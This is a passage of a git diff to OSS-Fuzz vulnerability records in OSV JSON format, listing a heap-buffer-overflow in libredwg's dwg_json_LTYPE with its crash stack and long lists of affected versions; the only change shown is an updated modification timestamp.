13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-1176.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53483"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-1198.json b/data/OSS-Fuzz/OSV-2022-1198.json index fb084a777a..c64335d0a2 100644 --- a/data/OSS-Fuzz/OSV-2022-1198.json +++ b/data/OSS-Fuzz/OSV-2022-1198.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-1198","published":"2022-11-23T13:02:06.623044Z","modified":"2026-11-11T14:45:02.962738412Z","summary":"Heap-buffer-overflow in dwg_json_LTYPE","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53617\n\n```\nCrash type: Heap-buffer-overflow READ 8\nCrash state:\ndwg_json_LTYPE\njson_objects_write\ndwg_write_json\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"580e8bbebf18579b97e2c20b032368b9079624ca"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-1198.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53617"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-1198","published":"2022-11-23T13:02:06.623044Z","modified":"2026-11-12T14:30:04.366030564Z","summary":"Heap-buffer-overflow in dwg_json_LTYPE","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53617\n\n```\nCrash type: Heap-buffer-overflow READ 8\nCrash state:\ndwg_json_LTYPE\njson_objects_write\ndwg_write_json\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"580e8bbebf18579b97e2c20b032368b9079624ca"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2